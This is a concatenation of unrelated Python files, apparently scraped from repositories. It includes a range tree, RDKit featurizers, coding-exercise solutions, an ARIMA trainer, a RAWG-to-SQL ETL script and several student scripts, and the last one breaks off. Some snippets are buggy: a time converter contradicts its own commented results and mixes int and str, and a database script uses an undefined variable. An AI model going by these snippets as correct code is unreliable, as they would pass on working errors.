            self.left = rangeytree(points[0:length // 2])
            self.right = rangeytree(points[length // 2:length])
            self.value = self.left.getmax()
            self.isLeaf = False

    def getmax(self):
        if self.isLeaf:
            return self.value
        rightmax = self.right.getmax()
        if self.value > rightmax:
            return self.value
        else:
            return rightmax

    def query(self, rect, vsplit):  # 0:none, 1: left, 2: right
        if self.isLeaf:
            if rect[1][0] <= self.value <= rect[1][1]:
                return 1
            else:
                return 0
        if vsplit == 1:
            if self.value >= rect[1][0]:
                return self.left.query(rect, 1) + self.right.leaves
            else:
                return self.right.query(rect, 1)
        elif vsplit == 2:
            if self.value <= rect[1][1]:
                return self.right.query(rect, 2) + self.left.leaves
            else:
                return self.left.query(rect, 2)
        else:
            if rect[0][0] == rect[0][1]:
                return self.left.query(rect, 0)+self.right.query(rect, 0)
            if self.value >= rect[1][0]:
                if self.value > rect[1][1]:
                    return self.left.query(rect, 0)
                else:  # vsplit
                    return self.left.query(rect, 1)+self.right.query(rect, 2)
            else:
                return self.right.query(rect, 0)

class rangetree(object):

    def __init__(self, points):
        length = len(points)
        if length == 1:
            self.value = points[0][0]
            self.ytree = points[0][1]
            self.isLeaf = True
        else:
            self.left = rangetree(points[0:length // 2])
            self.right = rangetree(points[length // 2:length])
            self.value = self.left.getmax()
            self.isLeaf = False
            points2 = sorted(points, key=lambda x: x[1])
            self.ytree = rangeytree(points2)

    def getmax(self):
        if self.isLeaf:
            return self.value
        rightmax = self.right.getmax()
        if self.value > rightmax:
            return self.value
        else:
            return rightmax

    def getycount(self, rect):
        return self.ytree.query(rect,0)

    def getcount(self, rect):
        if self.isLeaf:
            if rect[0][0] <= self.value <= rect[0][1] and rect[1][0] <= self.ytree <= rect[1][1]:
                return 1
            else:
                return 0
        return self.getycount(rect)

    def query(self, rect, vsplit):  # 0:none, 1: left, 2: right
        if self.isLeaf:
            if rect[0][0] <= self.value <= rect[0][1] and rect[1][0] <= self.ytree <= rect[1][1]:
                return 1
            else:
                return 0
        if vsplit == 1:
            if self.value >= rect[0][0]:
                return self.left.query(rect, 1) + self.right.getcount(rect)
            else:
                return self.right.query(rect, 1)
        elif vsplit == 2:
            if self.value <= rect[0][1]:
                return self.right.query(rect, 2) + self.left.getcount(rect)
            else:
                return self.left.query(rect, 2)
        else:
            if rect[0][0] == rect[0][1]:
                return self.left.query(rect, 0)+self.right.query(rect, 0)
            if self.value >= rect[0][0]:
                if self.value > rect[0][1]:
                    return self.left.query(rect, 0)
                else:  # vsplit
                    return self.left.query(rect, 1)+self.right.query(rect, 2)
            else:
                return self.right.query(rect, 0)

class Solution(object):

    def __init__(self, points):
        """
        Initialize this class instance.

        Parameters
        ----------
        points : list of integer coordinates, each of form [x,y], that is
                 [[x1,y1], [x2,y2], ... , [xN,yN]]
        """
        points.sort(key=lambda x: x[0])
        self.xs = rangetree(points)

    def query(self, rect) -> int:
        # print(hubo)
        ans = self.xs.query(rect,0)

        return ans

if __name__ == "__main__":
    # sample 1
    for _ in range(int(input())):
        points = []
        n, m = map(int, input().split())
        for _ in range(n):
            points.append(list(map(int,input().split())))
        sol = Solution(points)
        ans = 0
        for _ in range(m):
            a,b,c,d = map(int,input().split())
            ans += (sol.query([[a,b],[c,d]]))
        print(ans)


from __future__ import print_function
from __future__ import division
from __future__ import unicode_literals

import numpy as np
from rdkit import Chem
import itertools, operator

from dcCustom.feat import Featurizer
from dcCustom.feat.mol_graphs import ConvMol, WeaveMol

def one_of_k_encoding(x, allowable_set):
  if x not in allowable_set:
    raise Exception(
        "input {0} not in allowable set{1}:".format(x, allowable_set))
  return list(map(lambda s: x == s, allowable_set))

def one_of_k_encoding_unk(x, allowable_set):
  """Maps inputs not in the allowable set to the last element."""
  if x not in allowable_set:
    x = allowable_set[-1]
  return list(map(lambda s: x == s, allowable_set))

def get_intervals(l):
  """For list of lists, gets the cumulative products of the lengths"""
  intervals = len(l) * [0]
  # Initalize with 1
  intervals[0] = 1
  for k in range(1, len(l)):
    intervals[k] = (len(l[k]) + 1) * intervals[k - 1]

  return intervals

def safe_index(l, e):
  """Gets the index of e in l, providing an index of len(l) if not found"""
  try:
    return l.index(e)
  except:
    return len(l)

possible_atom_list = [
    'C', 'N', 'O', 'S', 'F', 'P', 'Cl', 'Mg', 'Na', 'Br', 'Fe', 'Ca', 'Cu',
    'Mc', 'Pd', 'Pb', 'K', 'I', 'Al', 'Ni', 'Mn'
]
possible_numH_list = [0, 1, 2, 3, 4]
possible_valence_list = [0, 1, 2, 3, 4, 5, 6]
possible_formal_charge_list = [-3, -2, -1, 0, 1, 2, 3]
possible_hybridization_list = [
    Chem.rdchem.HybridizationType.SP, Chem.rdchem.HybridizationType.SP2,
    Chem.rdchem.HybridizationType.SP3, Chem.rdchem.HybridizationType.SP3D,
    Chem.rdchem.HybridizationType.SP3D2
]
possible_number_radical_e_list = [0, 1, 2]

reference_lists = [
    possible_atom_list, possible_numH_list, possible_valence_list,
    possible_formal_charge_list, possible_number_radical_e_list,
    possible_hybridization_list
]

intervals = get_intervals(reference_lists)

def get_feature_list(atom):
  features = 6 * [0]
  features[0] = safe_index(possible_atom_list, atom.GetSymbol())
  features[1] = safe_index(possible_numH_list, atom.GetTotalNumHs())
  features[2] = safe_index(possible_valence_list, atom.GetImplicitValence())
  features[3] = safe_index(possible_formal_charge_list, atom.GetFormalCharge())
  features[4] = safe_index(possible_number_radical_e_list,
                           atom.GetNumRadicalElectrons())
  features[5] = safe_index(possible_hybridization_list, atom.GetHybridization())

  return features

def features_to_id(features, intervals):
  """Convert list of features into index using spacings provided in intervals"""
  id = 0
  for k in range(len(intervals)):
    id += features[k] * intervals[k]

  # Allow 0 index to correspond to null molecule 1
  id = id + 1
  return id

def id_to_features(id, intervals):
  features = 6 * [0]

  # Correct for null
  id -= 1

  for k in range(0, 6 - 1):
    #print(6-k-1, id)
    features[6 - k - 1] = id // intervals[6 - k - 1]
    id -= features[6 - k - 1] * intervals[6 - k - 1]
  # Correct for last one
  features[0] = id
  return features

def atom_to_id(atom):
  """Return a unique id corresponding to the atom type"""
  features = get_feature_list(atom)
  return features_to_id(features, intervals)

def atom_features(atom, bool_id_feat=False, explicit_H=False):
  if bool_id_feat:
    return np.array([atom_to_id(atom)])
  else:
    results = one_of_k_encoding_unk(
        atom.GetSymbol(),
        [
            'C',
            'N',
            'O',
            'S',
            'F',
            'Si',
            'P',
            'Cl',
            'Br',
            'Mg',
            'Na',
            'Ca',
            'Fe',
            'As',
            'Al',
            'I',
            'B',
            'V',
            'K',
            'Tl',
            'Yb',
            'Sb',
            'Sn',
            'Ag',
            'Pd',
            'Co',
            'Se',
            'Ti',
            'Zn',
            'H',  # H?
            'Li',
            'Ge',
            'Cu',
            'Au',
            'Ni',
            'Cd',
            'In',
            'Mn',
            'Zr',
            'Cr',
            'Pt',
            'Hg',
            'Pb',
            'Unknown'
        ]) + one_of_k_encoding(atom.GetDegree(),
                               [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]) + \
        one_of_k_encoding_unk(atom.GetImplicitValence(), [0, 1, 2, 3, 4, 5, 6]) + \
        [atom.GetFormalCharge(), atom.GetNumRadicalElectrons()] + \
        one_of_k_encoding_unk(atom.GetHybridization(), [
            Chem.rdchem.HybridizationType.SP, Chem.rdchem.HybridizationType.SP2,
            Chem.rdchem.HybridizationType.SP3, Chem.rdchem.HybridizationType.
            SP3D, Chem.rdchem.HybridizationType.SP3D2
        ]) + [atom.GetIsAromatic()]
    # In case of explicit hydrogen(QM8, QM9), avoid calling `GetTotalNumHs`
    if not explicit_H:
      results = results + one_of_k_encoding_unk(atom.GetTotalNumHs(),
                                                [0, 1, 2, 3, 4])

    return np.array(results)

def bond_features(bond):
  bt = bond.GetBondType()
  return np.array([
      bt == Chem.rdchem.BondType.SINGLE, bt == Chem.rdchem.BondType.DOUBLE,
      bt == Chem.rdchem.BondType.TRIPLE, bt == Chem.rdchem.BondType.AROMATIC,
      bond.GetIsConjugated(),
      bond.IsInRing()
  ])

def pair_features(mol, edge_list, canon_adj_list, bt_len=6,
                  graph_distance=True):
  if graph_distance:
    max_distance = 7
  else:
    max_distance = 1
  N = mol.GetNumAtoms()
  features = np.zeros((N, N, bt_len + max_distance + 1))
  num_atoms = mol.GetNumAtoms()
  rings = mol.GetRingInfo().AtomRings()
  for a1 in range(num_atoms):
    for a2 in canon_adj_list[a1]:
      # first `bt_len` features are bond features(if applicable)
      features[a1, a2, :bt_len] = np.asarray(
          edge_list[tuple(sorted((a1, a2)))], dtype=float)
    for ring in rings:
      if a1 in ring:
        # `bt_len`-th feature is if the pair of atoms are in the same ring
        features[a1, ring, bt_len] = 1
        features[a1, a1, bt_len] = 0.
    # graph distance between two atoms
    if graph_distance:
      distance = find_distance(
          a1, num_atoms, canon_adj_list, max_distance=max_distance)
      features[a1, :, bt_len + 1:] = distance
  # Euclidean distance between atoms
  if not graph_distance:
    coords = np.zeros((N, 3))
    for atom in range(N):
      pos = mol.GetConformer(0).GetAtomPosition(atom)
      coords[atom, :] = [pos.x, pos.y, pos.z]
    features[:,:,-1] = np.sqrt(np.sum(np.square(
        np.stack([coords] * N, axis=1) - \
        np.stack([coords] * N, axis=0)), axis=2))

  return features

def find_distance(a1, num_atoms, canon_adj_list, max_distance=7):
  distance = np.zeros((num_atoms, max_distance))
  radial = 0
  # atoms `radial` bonds away from `a1`
  adj_list = set(canon_adj_list[a1])
  # atoms less than `radial` bonds away
  all_list = set([a1])
  while radial < max_distance:
    distance[list(adj_list), radial] = 1
    all_list.update(adj_list)
    # find atoms `radial`+1 bonds away
    next_adj = set()
    for adj in adj_list:
      next_adj.update(canon_adj_list[adj])
    adj_list = next_adj - all_list
    radial = radial + 1
  return distance

class ConvMolFeaturizer(Featurizer):

  name = ['conv_mol']

  def __init__(self):
    # Since ConvMol is an object and not a numpy array, need to set dtype to
    # object.
    self.dtype = object

  def _featurize(self, mol, smiles=None):
    """Encodes mol as a ConvMol object."""
    # Get the node features
    idx_nodes = [(a.GetIdx(), atom_features(a)) for a in mol.GetAtoms()]
    idx_nodes.sort()  # Sort by ind to ensure same order as rd_kit
    idx, nodes = list(zip(*idx_nodes))

    # Stack nodes into an array
    nodes = np.vstack(nodes)

    # Get bond lists with reverse edges included
    edge_list = [(b.GetBeginAtomIdx(), b.GetEndAtomIdx())
                 for b in mol.GetBonds()]

    # Get canonical adjacency list
    canon_adj_list = [[] for mol_id in range(len(nodes))]
    for edge in edge_list:
      canon_adj_list[edge[0]].append(edge[1])
      canon_adj_list[edge[1]].append(edge[0])

    return ConvMol(nodes, canon_adj_list, smiles=smiles)

class WeaveFeaturizer(Featurizer):

  name = ['weave_mol']

  def __init__(self, graph_distance=True, explicit_H=False):
    # Distance is either graph distance(True) or Euclidean distance(False,
    # only support datasets providing Cartesian coordinates)
    self.graph_distance = graph_distance
    # Set dtype
    self.dtype = object
    # If includes explicit hydrogens
    self.explicit_H = explicit_H

  def _featurize(self, mol, smiles=None):
    """Encodes mol as a WeaveMol object."""
    # Atom features
    idx_nodes = [(a.GetIdx(), atom_features(a, explicit_H=self.explicit_H))
                 for a in mol.GetAtoms()]
    idx_nodes.sort()  # Sort by ind to ensure same order as rd_kit
    idx, nodes = list(zip(*idx_nodes))

    # Stack nodes into an array
    nodes = np.vstack(nodes)

    # Get bond lists
    edge_list = {}
    for b in mol.GetBonds():
      edge_list[tuple(sorted([b.GetBeginAtomIdx(),
                              b.GetEndAtomIdx()]))] = bond_features(b)

    # Get canonical adjacency list
    canon_adj_list = [[] for mol_id in range(len(nodes))]
    for edge in edge_list.keys():
      canon_adj_list[edge[0]].append(edge[1])
      canon_adj_list[edge[1]].append(edge[0])

    # Calculate pair features
    pairs = pair_features(
        mol,
        edge_list,
        canon_adj_list,
        bt_len=6,
        graph_distance=self.graph_distance)

    return WeaveMol(nodes, pairs, smiles=smiles)


"""
Given 2 strings, a and b, return the number of the positions where they contain the same length 2 substring. So "xxcaazz" and "xxbaaz" yields 3, since the "xx", "aa", and "az" substrings appear in the same place in both strings.

string_match('xxcaazz', 'xxbaaz') → 3
string_match('abc', 'abc') → 2
string_match('abc', 'axc') → 0

@author unobatbayar
"""
def string_match(a, b):
  counter = 0
  shortest = min(len(a), len(b))

  for x in range(0, shortest-1):
    a_two = a[x] + a[x+1] #using modulus would've been better a[i:i+2]
    b_two = b[x] + b[x+1] #using modulus would've been better a[i:i+2]
    if a_two == b_two:
      counter = counter + 1
  return counter


import pmdarima as pm
import joblib
import pandas as pd
import os

input_file = os.environ.get('INPUT_PATH', '/data/data.csv')
output_file = os.environ.get('OUTPUT_PATH', 'model.pickle')

try:
    data = pd.read_csv(input_file, header=0)
    train = data["water_height"].values.tolist()

    sxmodel = pm.auto_arima(train,
        start_p=0, start_q=0,
        test='adf',
        max_p=2, max_q=2,
        seasonal=False,
        d=0, trace=False,
        error_action='ignore',
        suppress_warnings=True,
        stepwise=True)

    joblib.dump(sxmodel, output_file)
    print("Successfully train model!")

except Exception as e:
    print("Error occured {}".format(e))


'''
This script accesses the Rawg.io genres endpoint as JSON objects, transforms them and then loads them to a Microsoft SQL Server Database.
Each ETL stage is stored in functions and then accessed by the main function at the bottom of the script.
End point: https://api.rawg.io/docs/#tag/genres
'''

import logging
from datetime import datetime
import toml
import requests
import utilities
import pyodbc

#set log file configuration using Python's logging library
logging.basicConfig(filename='logging\\genre.log', encoding='utf-8', level=logging.INFO,
                    format='%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')

#path to toml config file
config = toml.load("config.toml")

def initial_scrape():

    #variables store results space and logging information
    genre_scrape_results_list = []

    #sets API request limit for pagination feature
    page_limit = 10
    request_count = 0

    #target URL for Python requests library
    URL = f"https://api.rawg.io/api/genres?key={config['APIkeys']['rawgio_key']}&limit=50"

    try:
        genre_request = requests.get(URL).json()

        for i in range(0, len(genre_request['results'])):
            genre_scrape_results_list.append(genre_request['results'][i])

            request_count += 1

            if request_count > 100:
                utilities.request_break(request_count)
                request_count = 0

        next_page = genre_request['next']

    except Exception as e:
        logging.error(f"Initial request for failed:\n{e}")

    for i in range(0, page_limit):

        try:
            genre_request = requests.get(next_page).json()

            for j in range(0, len(genre_request['results'])):
                genre_scrape_results_list.append(genre_request['results'][j])

            logging.info(f"URL {next_page} was successful")

            request_count += 1

            if request_count > 100:
                utilities.request_break(request_count)
                request_count = 0

            next_page = genre_request['next']

        except Exception as e:
            logging.error(f"Request failed:\n{e}")

    logging.info(f"Initial genre request was successful.\nCount of genre: {len(genre_scrape_results_list)}\n")

    #write intial extract to temporary JSON file using utilities.py
    utilities.write_to_json(genre_scrape_results_list, config['JSONarchive']['genre_extract'])

def transform_to_load_set(scrape_timestamp: datetime):

    #read initial extract from temporary JSON files using utilities.py
    genre_extract = utilities.read_from_json(config['JSONarchive']['genre_extract'])
    games_extract = utilities.read_from_json(config['JSONarchive']['games_extract'])

    genre_properties_transformation_results_list = []
    genre_bridge_transformation_results_list = []

    for i in range(0, len(genre_extract)):
        try:
            target_dictionary = {'ScrapeTimestamp': str(scrape_timestamp),
                                'GenreId': genre_extract[i]['id'],
                                'GenreName': genre_extract[i]['name'],
                                'GenreCount': genre_extract[i]['games_count']
                                }

            genre_properties_transformation_results_list.append(target_dictionary)

        except Exception as e:
            logging.error(f"Transformation of ID {genre_extract[i]['id']} has failed. Exception:\n {e}")

    for i in range(0, len(games_extract)):

        genre_mapping_list = games_extract[i]['genres']

        try:

            for j in range(0, len(genre_mapping_list)):
                    target_dictionary = {'ScrapeTimestamp': str(scrape_timestamp),
                                        'GenreGameKey': str(games_extract[i]['id']) + '-' + str(genre_mapping_list[j]['id']),
                                        'GameId': str(games_extract[i]['id']),
                                        'GenreId': str(genre_mapping_list[j]['id'])
                                        }

            genre_bridge_transformation_results_list.append(target_dictionary)

        except Exception as e:
            logging.error(f"Transformation of ID {games_extract[i]['id']} has failed. Exception:\n {e}")

    #write intial extract to temporary JSON file using utitilities.py
    utilities.write_to_json(genre_properties_transformation_results_list, config['JSONarchive']['genre_properties_filtered'])

    #write intial extract to temporary JSON file using utilities.py
    logging.info(f"Genre properties transformation is complete.\nNumber of Records: {len(genre_properties_transformation_results_list)}")

    #write intial extract to temporary JSON file using utitilities.py
    utilities.write_to_json(genre_bridge_transformation_results_list, config['JSONarchive']['genre_bridge_filtered'])

    #write intial extract to temporary JSON file using utilities.py
    logging.info(f"Genre bridge transformation is complete.\nNumber of Records: {len(genre_properties_transformation_results_list)}")

def load_to_database():

    genre_properties_filtered = utilities.read_from_json(config['JSONarchive']['genre_properties_filtered'])
    genre_bridge_filtered = utilities.read_from_json(config['JSONarchive']['genre_bridge_filtered'])

    #reads connection string from config file using pyodbc and connects to database
    conn = pyodbc.connect(config['Database']['connection_string'])
    crsr = conn.cursor()

    load_count = 0

    for i in range(0, len(genre_properties_filtered)):

        try:

            #insert query to load raw data into database
            query = f"""

            INSERT INTO STAGE.dim_GenreTable (GenreId, GenreName, GenreCount, ScrapeDate)
            VALUES (
                {int(genre_properties_filtered[i]['GenreId'])},
                {"'" + str(genre_properties_filtered[i]['GenreName']).replace("'", "''") + "'"},
                {int(genre_properties_filtered[i]['GenreCount'])},
                {"'" + str(genre_properties_filtered[i]['ScrapeTimestamp']) + "'"})

            """

            crsr.execute(query)
            load_count += 1

        except Exception as e:
            logging.error(f"Issue loading ID: {genre_properties_filtered[i]['GenreId']}. Exception:\n {e}\nQuery:\n {query}")

    for i in range(0, len(genre_bridge_filtered)):

        try:

            #insert query to load raw data into database
            query = f"""

            INSERT INTO STAGE.dim_GenreBridgeTable (GenreGameKey, GenreId, GameId, ScrapeDate)
            VALUES (
                {"'" + str(genre_bridge_filtered[i]['GenreGameKey'])  + "'"},
                {int(genre_bridge_filtered[i]['GenreId'])},
                {int(genre_bridge_filtered[i]['GameId'])},
                {"'" + str(genre_bridge_filtered[i]['ScrapeTimestamp']) + "'"})

            """

            crsr.execute(query)
            load_count += 1

        except Exception as e:
            logging.error(f"Issue loading ID: {genre_bridge_filtered[i]['GenreId']}. Exception:\n {e}\nQuery:\n {query}")

    logging.info(f"Load to database is complete. {load_count} records were successfully loaded!")

    crsr.commit()
    conn.close

#calls each of the above functions to complete ETL
if __name__ == "__main__":
    scrape_timestamp = datetime.now()
    initial_scrape()
    transform_to_load_set(scrape_timestamp)
    load_to_database()


if __name__=='__main__':
    d,t = map(int,input().split(' '))
    result = 0
    i2 = d*2
    i3 = t*3
    cm = int(max(i2,i3)/6)  #common
    while cm>0:
        if i2+2<i3+3:
            i2+=2
        elif i2+2> i3+3:
            i3+=3
        else:
            i2+=2
            cm+=1
        cm-=1
    print (max(i2,i3))

    '''
    if index2+common*2<=index3:
        result = index3
    else:
        result = index2+common*2
    if index2>=index3+common*3:
        result = index2
    '''
    '''
    while common>0:
        print (d,t,common,oldCommon)
        if (d+1)*2<=(t+1)*3:
            d+=1
        else:
            t+=1
        index2 = d*2
        index3 = t*3
        print (index2,index3)
        common = int(min(index2,index3)/6)

        x = common
        common-=oldCommon
        oldCommon=x
    print(max(index2,index3))
    '''

'''

C. Block Towers
time limit per test
2 seconds
memory limit per test
256 megabytes
input
standard input
output
standard output

Students in a class are making towers of blocks. Each student makes a (non-zero) tower by stacking pieces lengthwise on top of each other. n of the students use pieces made of two blocks and m of the students use pieces made of three blocks.

The students don’t want to use too many blocks, but they also want to be unique, so no two students’ towers may contain the same number of blocks. Find the minimum height necessary for the tallest of the students' towers.
Input

The first line of the input contains two space-separated integers n and m (0 ≤ n, m ≤ 1 000 000, n + m > 0) — the number of students using two-block pieces and the number of students using three-block pieces, respectively.
Output

Print a single integer, denoting the minimum possible height of the tallest tower.
Examples
Input

1 3

Output

9

Input

3 2

Output

8

Input

5 0

Output

10

Note

In the first case, the student using two-block pieces can make a tower of height 4, and the students using three-block pieces can make towers of height 3, 6, and 9 blocks. The tallest tower has a height of 9 blocks.

In the second case, the students can make towers of heights 2, 4, and 8 with two-block pieces and towers of heights 3 and 6 with three-block pieces, for a maximum height of 8 blocks.

'''


#!/usr/bin/env python
# coding: utf-8

# In[ ]:

import csv
import os

poll_input = os.path.join("election_data.csv")
poll_output = os.path.join("poll_analysis.txt")

# initial values
total_votes = 0
candidates_list = []
candidate_votes = { }
winner_candidate = ""
winner_votes = 0

with open(poll_input) as poll_data:
    reader = csv.reader(poll_data)

    header = next(reader)

    for row in reader:

        total_votes += 1
        candidate = row[2]

        if candidate not in candidates_list:
            candidates_list.append(candidate)
            candidate_votes[candidate] = 0

        candidate_votes[candidate] += 1

with open(poll_output, "w") as txt_file:

    count_output = (
        f"\n\nElection Results\n"
        f"------------------------\n"
        f"Total Votes: {total_votes}\n"
        f"-------------------------\n"
    )
    # print(count_output, end = "")

    txt_file.write(count_output)

    for candidate in candidate_votes:

        number_votes = candidate_votes.get(candidate)
        vote_percent = (float(number_votes) / float(total_votes)) * 100

        if (number_votes > winner_votes):
            winner_votes = number_votes
            winner_candidate = candidate

        candidate_output = f"{candidate}: {vote_percent:.3f}% ({number_votes})\n"

        # print(candidate_output, end = "")

        txt_file.write(candidate_output)

    winner_candidate_info = (
        f"-----------------\n"
        f"Winner: {winner_candidate}\n"
        f"-----------------\n"
    )

    print(winner_candidate_info)

    txt_file.write(winner_candidate_info)

# In[ ]:


# Nama file : waktu_24_ke_detik.py
# Pembuat : Attaf Riski Putra Ramadhan
# Tanggal : 10 September 2021
# Deskripsi : Mencari jumlah detik dari waktu format 24 jam dimulai dari 00:00:00

# Definisi dan Spesifikasi
# waktu_24_ke_detik : integer [0..23], integer [0..59], integer [0..59] -> integer[0..86400]
# waktu_24_ke_detik (j,m,s) menghitung jumlah detik dari format waktu 24 jam dimulai dari
#  jam 00:00:00 pada suatu tanggal. j berarti jam, m berarti menit, s berarti detik.
#  00.00.01 = 1 detik.

# Realisasi
def waktu_24_ke_detik (j,m,s) :
    if 0 <= j <= 11 and 0 <= m <= 59 and 0 <= s <= 59 :
        return (j * 3600) + (m * 60) + s
    else:
        return 0

def format_24_to_12(j,m,s):
    if j >= 0 and j < 1:
        return "12." + str(m) + "." + str(s) + " am"
    elif j >= 1 and j < 12:
        return j +"." + str(m) + "." + str(s) + " am"
    elif j >= 12 and j < 13:
        return "12." + str(m) + "." + str(s) + " pm"
    elif j >= 13:
        return str(j-12) + "." + str(m) + "." + str(s) + " pm"

# Aplikasi
print(waktu_24_ke_detik(12,50,59)) # Hasilnya yaitu 46259
print(format_24_to_12(0,0,1)) # Hasilnya yaitu 1


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
script pulls data from sqlite3 database and applies ANN to 12 MFCC columns and a binary label column
saves model to "engerm_annmodel_13mfcc_(num epochs)epochs.json" with weights saved to "engerm_annweights_13mfcc_(num epochs)epochs.hd"

This particular model uses 100 batch_size and 10 epochs
"""

import pandas as pd
import sqlite3
from sqlite3 import Error
import numpy as np
import time

import logging

from checkSQL_db_edit import Find_SQL_DB, Explore_SQL, User_Input, Prep_Data_DL
from checkSQL_UserFun_edit import show_options, getDataCont_Name, stop_OR_go, no_items

logger = logging.getLogger(__name__)

if __name__ == '__main__':

    #Search cwd for .db files
    dbs = Find_SQL_DB()
    if dbs.item_list:
        while dbs.stop == False:

            #Presents User with Databases to choose from
            show_options(dbs)
            db_input = User_Input()
            db_name = getDataCont_Name(db_input,dbs)
            currdb = Explore_SQL(db_name)

            #Finds tables in the chosen Database
            tables = currdb.tables2list()
            if tables:
                while currdb.stop == False:

                    #Presents User with Tables to choose from
                    show_options(currdb)
                    table_input = User_Input()
                    table_name = getDataCont_Name(table_input,currdb)

                    ######################################################

                    row_start = currdb.get_rowstart(table_name)
                    row_limit = currdb.get_rowlimit(table_name)
                    #turn into df
                    df = currdb.table2dataframe(table_name,row_start,row_lim)

                    #explore this dataframe:
                    model = input("Which kind of model is this data for? (i.e. ANN, randomforest, linear regression, etc.): ")
                    currdf = Prep_Data_DL(df,model)

                    ####### Prep data? One-Hot-Encoding?

                        #need to allow the user to pull data from different tables
                        #and possibly other databases... Maybe a task for
                        #another time...

                        #if they want to apply a model on data from multiple places

                        #maybe offer choices to try out different models on their data? Linear Models to ANN/CNN...

                    ######################################################
                #If there is only 1 table in the database, exit while statement
                    if len(tables) == 1:
                            currdb.stop == True
                    else:
                        #Ask User if they would like to look at another table
                        yes_no = stop_OR_go(currdb.datacont_type)
                        if 'no' in yes_no:
                            currdb.stop = True
           #If no tables found in database, let User know
            else:
                no_items('tables','database')

            #If only 1 database, exit while statement (and program)
            if len(dbs.item_list) == 1:
                dbs.stop = True
            #Otherwise, ask User if they would like to look in another database
            else:
                yes_no = stop_OR_go(dbs.datacont_type)
                if 'no' in yes_no:
                    dbs.stop = True
    #If no .db files found, let User know
    else:
        no_items('databases','directory')
    #Close sqlite3 connection without committing: just to make sure no changes that might somehow be made get saved
    currdb.close_conn_NOsave()


"""
437. Path Sum III

You are given a binary tree in which each node contains an integer value.
Find the number of paths that sum to a given value.
The path does not need to start or end at the root or a leaf, but it must go downwards (traveling only from parent nodes to child nodes).
The tree has no more than 1,000 nodes and the values are in the range -1,000,000 to 1,000,000.

Example:
root = [10,5,-3,3,2,null,11,3,-2,null,1], sum = 8

      10
     /  \
    5   -3
   / \    \
  3   2   11
 / \   \
3  -2   1

Return 3. The paths that sum to 8 are:

1.  5 -> 3
2.  5 -> 2 -> 1
3. -3 -> 11

Solution using prefix-sum method which is similar to 1_two_sums.py problem
"""

# Definition for a binary tree node.
class TreeNode:
    def __init__(self, x):
        self.val = x
        self.left = None
        self.right = None

class Solution:
    def pathSum(self, root, sum):
        """
        :type root: TreeNode
        :type sum: int
        :rtype: int
        """
        if not root:
            return 0
        hashmap = {0:1}
        total_paths = 0
        total_sum = 0
        target = sum
        stack = [(root, 0)]
        while stack:
            curr, visited = stack.pop()
            if curr is None:
                continue
            if not visited:
                stack.extend([(curr, 1), (curr.right, 0), (curr.left, 0)])
                total_sum = total_sum + curr.val
                total_paths = total_paths + hashmap.get(total_sum - target, 0)
                hashmap[total_sum] = hashmap.get(total_sum, 0) + 1
            else:
                hashmap[total_sum] -= 1
                total_sum -= curr.val
        return total_paths


#!/usr/bin/env python
# -*- coding: utf-8 -*-

import os, sys
import vacumm.misc.log as L

l1 = L.Logger(name='L1', level='info', format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
l2 = L.Logger(name='L2', level='debug', format='[%(asctime)s %(name)s %(levelname)s] %(message)s', date_format='%H:%M:%S')
l1.info('info from logger l1')
l1.debug('debug from logger l1')
l2.info('info from logger l2')
l2.debug('debug from logger l2')
l1.notice('logger l1 setting config from logger l2')
l1.config(l2)
l1.info('info from logger l1')
l1.debug('debug from logger l1')

lf = '%s.%s.log'%(os.path.splitext(sys.argv[0])[0], os.getpid())
l = L.Logger(
    name=os.path.basename(sys.argv[0]),
    level='debug',
    logfile=dict(
        filePath=lf, maxFileSize=1024*50, maxFileBkp=1,
        format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
        date_format='%Y-%m-%d %H:%M:%S %Z',
        level='info'
    ),
    console=dict(
        stream=sys.stdout, colorize=False,
        format='%(name)s - %(levelname)s - %(message)s',
        #level='verbose'
    )
)
l.info('logging to %s', lf)
l.debug('debug')
l.verbose('verbose')
l.warning('warning')
with file(lf) as lff:
    l.info('content of %s:\n%s', lf, lff.read(2**20))
if os.path.isfile(lf):
    l.debug('removing log file %s', lf)
    os.remove(lf)


import tkinter as tk
from tkinter import ttk
import matplotlib.pyplot as plt
import Funciones
import Resume

root = tk.Tk()
root.title("Proyecto energetica 2020-1")
style = ttk.Style()
style.configure("BW.TLabel", justify='LEFT')

# --------------Start Code Here  'Matrices'------------------------------------------------------------

# --------------Start Function 'Graficadoras'--------------------------------------------------------------------------

def graf_recuperados(t, n, alpha, betha, p, tp):

    casos_diarios = list()
    dia = list()
    for i in range(0, t+1):
        rec_nor, rec_crit = Funciones.recuperados(i, n, alpha, betha, p, tp)
        rec_total = rec_nor+rec_crit
        casos_diarios.append(rec_total)
        dia.append(i)

    plt.ion()
    plt.figure('Recuperados')
    plt.scatter(dia, casos_diarios)
    plt.show()

def graf_infectados(t, n, alpha, betha, p):

    casos_diarios = list()
    dia = list()
    for i in range(0, t+1):
        inf_nor, inf_crit = Funciones.infectados(i, n, alpha, betha, p)
        inf_total = inf_nor + inf_crit
        casos_diarios.append(inf_total)
        dia.append(i)

    plt.ion()
    plt.figure('Infectados')
    plt.scatter(dia, casos_diarios)
    plt.show()

def graf_recuperados_crit(t, n, alpha, betha, p):

    casos_diarios = list()
    dia = list()
    for i in range(0, t+1):
        rec_crit = Funciones.recuperados_criticos(i, n, alpha, betha, p)
        casos_diarios.append(rec_crit)
        dia.append(i)

    plt.ion()
    plt.figure('Recuperados Criticos')
    plt.scatter(dia, casos_diarios)
    plt.show()

def graf_infectados_crit(t, n, alpha, betha, p):

    casos_diarios = list()
    dia = list()
    for i in range(0, t+1):
        inf_crit = Funciones.infectados_criticos(i, n, alpha, betha, p)
        casos_diarios.append(inf_crit)
        dia.append(i)

    plt.ion()
    plt.figure('Infectados Criticos')
    plt.scatter(dia, casos_diarios)
    plt.show()

def grafica_casos_totales(t, n, alpha, betha, p):

    casos_tot = list()
    cont_casos_totales = 0
    dia = list()
    for i in range(0, t+1):
        inf_nor, inf_crit = Funciones.infectados(i, n, alpha, betha, p)
        inf_total = inf_nor + inf_crit
        cont_casos_totales += inf_total
        casos_tot.append(cont_casos_totales)
        dia.append(i)
    plt.ion()
    plt.figure('Casos totales')
    plt.scatter(dia, casos_tot)
    plt.show()

def grafica_activos_por_dia(t, n, alpha, betha, p, tp):

    casos_tot = list()
    dia = list()
    cont_act = 0
    for i in range(0, t+1):
        activos = Funciones.activos_diario(i, n, alpha, betha, p, tp)
